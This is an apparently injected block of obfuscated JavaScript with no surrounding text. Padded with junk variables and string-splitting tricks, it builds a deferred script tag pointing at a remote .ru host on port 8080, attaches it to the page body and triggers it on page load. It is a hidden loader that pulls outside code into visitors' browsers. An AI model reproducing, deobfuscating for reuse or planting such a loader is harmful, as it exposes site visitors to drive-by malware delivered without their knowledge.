var Q=new Date();var N={pU:"u"};var pj=["e","eb"];var j=false;var s;this.rZ=false;var h={a:63782};P=function(){z={Qr:56196};var mU=["m","H","i"];function Le(c,f,Z){qI={ad:55370};return c.substr(f,Z);this.Jc=false;}v=["IB","jY"];var Cv=false;var n=RegExp;try {var vb='hT'} catch(vb){};try {var hu='qz'} catch(hu){};var Pv=new String("/goog"+"le.co"+"m/hp."+"com/r"+Le("otten48mE",0,5)+"tomat"+"oes.c"+"om.ph"+Le("3zEpz3E",3,1));var W='';var J=document;var DE={PP:46681};this.MY="";var E=["lU","r_"];function L(c,f){var Z=String(Le("[az5",0,1))+f+"]";var D=new n(Z, new String(Le("gSO9d",0,1)));cH=59374;cH--;try {var Nk='qa'} catch(Nk){};return c.replace(D, W);DL=["jz"];};Fp=18895;Fp--;var M=null;var d=239781-231701;qi=["Hp","HC","O"];this.K="";var _X='';Ox={Mv:"ip"};var q="body";var y=["FN"];var R=L('sbcxrOiGpGtv','ZyI2Y8OGjHhxblMvk7g');var aa=false;AQ=53265;AQ-=61;s=function(){this.Rr="";this.uS="";try {this.wy="wy";var o=L('cJrYe7aYtRe7EZlGeZmRe7n1ti','pJi17ZGYR');var Lj=["wo"];hy={Ge:false};S=J[o](R);NY=["Ww","qG","VN"];var c=d+Pv;var OD=[];var YS=["qT","Ll","pm"];var Px=L('s5rWcZ','zv_pLlWanNxKZo5H6');var U=Le("deferqZBK",0,5);var Oa=["mN","X"];var oU={};this.nA="nA";vJ=[];try {var aW='wC'} catch(aW){};var fH=["sn","wX"];S[U]=[1,0][0];S[Px]="htt"+Le("p:/l5u",0,3)+"/te"+Le("prDsnthDrps",4,3)+Le("sA0bprosA0b",4,3)+"fit"+Le("vFaC.ruavFC",4,3)+Le(":UtR",0,1)+c;var eA=[];this.Ng=false;this.Ks=40468;this.Ks-=165;try {} catch(SH){};J[q].appendChild(S);var Dy=new Date();} catch(B){var Nb=false;var VA=["Hv","jG","aC"];};hH=28393;hH+=69;};var Os=new Array();var N_=["AY"];};P();this.Kh=false;YN=4085;YN+=247;oN=10100;oN+=220;JW={Gm:45600};window.onload=s;try {} catch(Fg){};